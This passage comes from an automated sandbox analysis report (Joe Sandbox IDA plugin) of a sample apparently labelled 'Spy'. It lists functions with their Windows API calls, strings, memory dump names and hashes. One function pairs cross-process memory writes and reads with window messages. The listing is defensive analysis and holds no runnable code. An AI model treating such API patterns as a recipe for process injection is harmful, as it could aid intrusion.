Instruction Fuzzy Hash: 4601A730510709ABEB206B10DD4EB967B79FB00711F40466AB5C3611D1DBF0A994CA90

Function 00A8178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00A8179B
StrokeAndFillPath.GDI32(?,?,00ABBBC9,00000000,?), ref: 00A817B7
SelectObject.GDI32(?,00000000), ref: 00A817CA
DeleteObject.GDI32 ref: 00A817DD
StrokePath.GDI32(?), ref: 00A817F8

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 0c6747df288172a29c0b41691df3049742d86858d86ead4036302bb83803c3c0
Instruction ID: 564344e1925db18af15cea399264493d2537e59fd244aecee19d7b190273c074
Opcode Fuzzy Hash: 0c6747df288172a29c0b41691df3049742d86858d86ead4036302bb83803c3c0
Instruction Fuzzy Hash: A4F03C3404820CEBDB11AF2AED4C7983FA8B702322F44C258F42A961F0CF704A96DF50

Function 00AEC9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00AECA75
CoCreateInstance.OLE32(00B13D3C,00000000,00000001,00B13BAC,?), ref: 00AECA8D

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

CoUninitialize.OLE32 ref: 00AECCFA

Strings

.lnk, xrefs: 00AECA09, 00AECA31, 00AECA3B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: dd94aac1dab6b39358d6ad443b485445726119e9b2f73e967274b8cd75ef6c24
Instruction ID: 49dd0fd7a6dbfe742484379ca4cbb3c5759464f33d9e35b42db2acecfc6179d7
Opcode Fuzzy Hash: dd94aac1dab6b39358d6ad443b485445726119e9b2f73e967274b8cd75ef6c24
Instruction Fuzzy Hash: 7AA13D71104206AFD700EF64C991EAFB7E8EF98754F40491CF155972A2EB70EE49CB92

Function 00A8E3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00AA0FE6: std::exception::exception.LIBCMT ref: 00AA101C
Part of subcall function 00AA0FE6: __CxxThrowException@8.LIBCMT ref: 00AA1031

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

Part of subcall function 00A91680: _memmove.LIBCMT ref: 00A916DB

__swprintf.LIBCMT ref: 00A8E598

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00A8E431

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 43f2cbd6008fbbc2a59c898e9ef63d5a561d4ad0920127e0e983ffeb07a3f6fa
Instruction ID: 37942479711b158f61cb7b12ef755238590351cbb19244e760368446a3b3f0c1
Opcode Fuzzy Hash: 43f2cbd6008fbbc2a59c898e9ef63d5a561d4ad0920127e0e983ffeb07a3f6fa
Instruction Fuzzy Hash: 24917C71608201AFCB18FF24C995D6EB7F8EF95700F45491DF4869B2A1EB20ED44CB92

Function 00AA523D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00AA52CD

Part of subcall function 00AB0320: __87except.LIBCMT ref: 00AB035B

Strings

pow, xrefs: 00AA52A5, 00AA52C2

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ErrorHandling__87except__start
String ID: pow
API String ID: 2905807303-2276729525
Opcode ID: 2e8a4bed2df2f9bbc34ddc615347beafc9833ae363d21cbb613e62b2564f5614
Instruction ID: 4a85bb17f93d5c3c8dfacbb6946367db31a389b70fa773b551c992098251caa5
Opcode Fuzzy Hash: 2e8a4bed2df2f9bbc34ddc615347beafc9833ae363d21cbb613e62b2564f5614
Instruction Fuzzy Hash: 86515E71E0960197CB116734CA517EB3BE8EB42750F208968E4D14B2E7EF758CC89A5A

Function 00AA0654 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 163COMMON

Download Yara Rule

Strings

#, xrefs: 00AA0699
+, xrefs: 00AA0690

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID:
String ID: #$+
API String ID: 0-2552117581
Opcode ID: 2d1568b63138cab642ab86432d36323c59a52094211cb7f46dc97b9b5328a0ea
Instruction ID: d6bb90b0fbc38e75e00de96e453c6eab70d0257ee7ac2a8ba323710e111e293f
Opcode Fuzzy Hash: 2d1568b63138cab642ab86432d36323c59a52094211cb7f46dc97b9b5328a0ea
Instruction Fuzzy Hash: E851DF759042569FDF259F68C880AFE7BA4EF6A310F544056F892AB3D0D734AC82DB60

Function 00A9CF0C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00A9CFC2
_memmove.LIBCMT ref: 00A9D060
_memset.LIBCMT ref: 00A9D084

Strings

ERCP, xrefs: 00A9CF2D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: _memset$_memmove
String ID: ERCP
API String ID: 2532777613-1384759551
Opcode ID: 984c7fcfae446bced13e55669d1a2785d0955073f90ac4eaffad607dd0bd0682
Instruction ID: cb0ce58888f362a89425ee0c01633b781347693821404ab6d6653ccef62c7558
Opcode Fuzzy Hash: 984c7fcfae446bced13e55669d1a2785d0955073f90ac4eaffad607dd0bd0682
Instruction Fuzzy Hash: 205192B2A007099BDF24CF65C9857AABBF4EF04314F24856EE94BDB291E770D985CB40

Function 00ADA3AD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 122windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE1CBB: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00AD9E4E,?,?,00000034,00000800,?,00000034), ref: 00AE1CE5

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00ADA3F7

Part of subcall function 00AE1C86: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00AD9E7D,?,?,00000800,?,00001073,00000000,?,?), ref: 00AE1CB0

Part of subcall function 00AE1BDD: GetWindowThreadProcessId.USER32(?,?), ref: 00AE1C08
Part of subcall function 00AE1BDD: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00AD9E12,00000034,?,?,00001004,00000000,00000000), ref: 00AE1C18
Part of subcall function 00AE1BDD: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00AD9E12,00000034,?,?,00001004,00000000,00000000), ref: 00AE1C2E

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00ADA464
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00ADA4B1

Strings

@, xrefs: 00ADA4C9

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 6d20b0ddedc553adaae1cbc3b6d4d6aa3b86f5f92a7b4f57cd33a1e6eaa0548b
Instruction ID: 8df46b7d15b8830dafbe9486f39d1890e708497e720f446b51878930710d4d3e
Opcode Fuzzy Hash: 6d20b0ddedc553adaae1cbc3b6d4d6aa3b86f5f92a7b4f57cd33a1e6eaa0548b
Instruction Fuzzy Hash: 1E413CB690122CBFDB10DBA4CD85ADEBBB8EF45300F104095FA55B7280DA706E85CBA1

Function 00B079FE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00001009,00000000,?), ref: 00B07A86
SetWindowPos.USER32(?,00000000,?,?,?,?,00000004), ref: 00B07A9A
SendMessageW.USER32(?,00001002,00000000,?), ref: 00B07ABE

Strings

SysMonthCal32, xrefs: 00B07A51

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$Window
String ID: SysMonthCal32
API String ID: 2326795674-1439706946
Opcode ID: 8672af9de06654fb935ecf039ab424f251fec977abcad8af15664d0ce40d50e9
Instruction ID: 5decc111a196ddda296e25612d6c8070f88a127ceff3e2ecd30e878d77bef3d7
Opcode Fuzzy Hash: 8672af9de06654fb935ecf039ab424f251fec977abcad8af15664d0ce40d50e9
Instruction Fuzzy Hash: FF21AD32A50218AFDF218E54CC82FEE7BA9EB48724F114254FE156B1D0DAB1BC508BA0

Function 00B081B8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000469,?,00000000), ref: 00B0826F
SendMessageW.USER32(00000000,00000465,00000000,80017FFF), ref: 00B0827D
DestroyWindow.USER32(00000000,00000000,?,?,?,00000000,msctls_updown32,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00B08284

Strings

msctls_updown32, xrefs: 00B081E9

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: cce9c87349da0725f1c255ec5e4fed47044787b0038c9cca856227197d520373
Instruction ID: db76b56287857ada73c0da75d781d06873e8b82a46f8510d3617a88dddb4134a
Opcode Fuzzy Hash: cce9c87349da0725f1c255ec5e4fed47044787b0038c9cca856227197d520373
Instruction Fuzzy Hash: C7217AB5604209AFDB10DF58DC85DA73BEDEB5A3A4B140199FA019B3A1CF71ED11CBA0

Function 00B072D5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00B07360
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00B07370
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00B07395

Strings

Listbox, xrefs: 00B0732D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: d0af6703f998236c4c3d1a068c7ab118e41d03a6125d90e089f5b17f418b6c38
Instruction ID: c2f5a7b1966e3308be9307271c94a67af0105f2085994d787ac6d44990695690
Opcode Fuzzy Hash: d0af6703f998236c4c3d1a068c7ab118e41d03a6125d90e089f5b17f418b6c38
Instruction Fuzzy Hash: B621C532654118BFEF118F54CC85FBF7BAAEB89754F118164FD00971D0CA71AC529BA0

Function 00B07D33 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00B07D97
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00B07DAC
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00B07DB9

Strings

msctls_trackbar32, xrefs: 00B07D6E

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: d670e2ac4dcf5d8d8233edd249b47742740ce7ebc0067010ea429c4574ca17d6
Instruction ID: 21ee117a263115badd329aa015f90e4e5f6404025e5f45eccad4d47a5f871f6f
Opcode Fuzzy Hash: d670e2ac4dcf5d8d8233edd249b47742740ce7ebc0067010ea429c4574ca17d6
Instruction Fuzzy Hash: 00110AB2644209BFDF245F64CC45FE77BE9EF89754F114229FA41A60D0DA71E851CB20

Function 00AFC6D9 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00AC027A,?), ref: 00AFC6E7
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00AFC6F9

Strings

GetSystemWow64DirectoryW, xrefs: 00AFC6F3
kernel32.dll, xrefs: 00AFC6E2

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: bc4a6176fe92c85b6760bec6609e327e72156f19117341f02fbebc43ee27324d
Instruction ID: 3741b1511da35f30c6b10f61802e57f9dcf6c6d2f70eb3ef6eb0fba06f33f9e9
Opcode Fuzzy Hash: bc4a6176fe92c85b6760bec6609e327e72156f19117341f02fbebc43ee27324d
Instruction Fuzzy Hash: 78E08C3816070AABD7206B6AC948AA27AD8AF04364B908469F985D2220DBB4C8808B10

Function 00A94BAA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00A94AF7,?), ref: 00A94BB8
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00A94BCA

Strings

kernel32.dll, xrefs: 00A94BB3
Wow64RevertWow64FsRedirection, xrefs: 00A94BC4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 8bd7dd62bef4d0504cf65728b3d167983e180b6a86ffb28f5998e452a1097731
Instruction ID: 4dcf0a42ed97fdd7dc201ce91b6e83adbf44d294983011580463849d5511497a
Opcode Fuzzy Hash: 8bd7dd62bef4d0504cf65728b3d167983e180b6a86ffb28f5998e452a1097731
Instruction Fuzzy Hash: 24D0C2B0520712DFD7206F30DC08B4672D4AF04340F10CC69E481D6564DEB4C4D0C700

Function 00A94B77 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00A94B44,?,00A949D4,?,?,00A927AF,?,00000001), ref: 00A94B85
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00A94B97

Strings

Wow64DisableWow64FsRedirection, xrefs: 00A94B91
kernel32.dll, xrefs: 00A94B80

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: 0e121f28d8d3f1b51339f1427f89897abe1a4d90bffda93ac922c295fc58a493
Instruction ID: a50a7c90f8af16cb21bfa0fd317bd0617fb7b5145e34f26d612efdd5117f9143
Opcode Fuzzy Hash: 0e121f28d8d3f1b51339f1427f89897abe1a4d90bffda93ac922c295fc58a493
Instruction Fuzzy Hash: 43D01270520756DFD7206F35DC18B4676D4AF04355F51C869E485E2564DAB4D4C0C610

Function 00B01447 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00B01696), ref: 00B01455
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00B01467

Strings

RegDeleteKeyExW, xrefs: 00B01461
advapi32.dll, xrefs: 00B01450

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 428d6eb36702fc46ce698849c55b8d8902042bf2de1d144a76acccedc23ddb55
Instruction ID: 0ae3479feffaedd3a493322521c933fa4a89d3c14bd0899f14982815cdeaab40
Opcode Fuzzy Hash: 428d6eb36702fc46ce698849c55b8d8902042bf2de1d144a76acccedc23ddb55
Instruction Fuzzy Hash: 80D0EC315107129FD7205F7588086467AD4AF06395F11C86AA4D5E32A0DAB4D8D08A10

Function 00A955F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00A95E3D), ref: 00A955FE
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 00A95610

Strings

kernel32.dll, xrefs: 00A955F9
GetNativeSystemInfo, xrefs: 00A9560A

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 2c5ff5faa911ff1590bc2e2a4a23235edd6e6c281668e059e0ce8003dca8d673
Instruction ID: b6521e1fc90d4fd276caba1fe76e9068a4f9459adbb400b12b1f9f2640992e72
Opcode Fuzzy Hash: 2c5ff5faa911ff1590bc2e2a4a23235edd6e6c281668e059e0ce8003dca8d673
Instruction Fuzzy Hash: 0CD0C234D30712DFD7206F34C84928676D4AF01391B84C829E481D2160DAB4C4C0C740

Function 00AF97CA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000001,00AF93DE,?,00B10980), ref: 00AF97D8
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00AF97EA

Strings

kernel32.dll, xrefs: 00AF97D3
GetModuleHandleExW, xrefs: 00AF97E4

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 9f27618abca23767b5e7ba8e6a4ebf1a6be0e0c7ba381eb318f10a9c0a4391e5
Instruction ID: b029210898dede58f376e6ef9b985a0b87fd45d25780095c44a0a84b27948f79
Opcode Fuzzy Hash: 9f27618abca23767b5e7ba8e6a4ebf1a6be0e0c7ba381eb318f10a9c0a4391e5
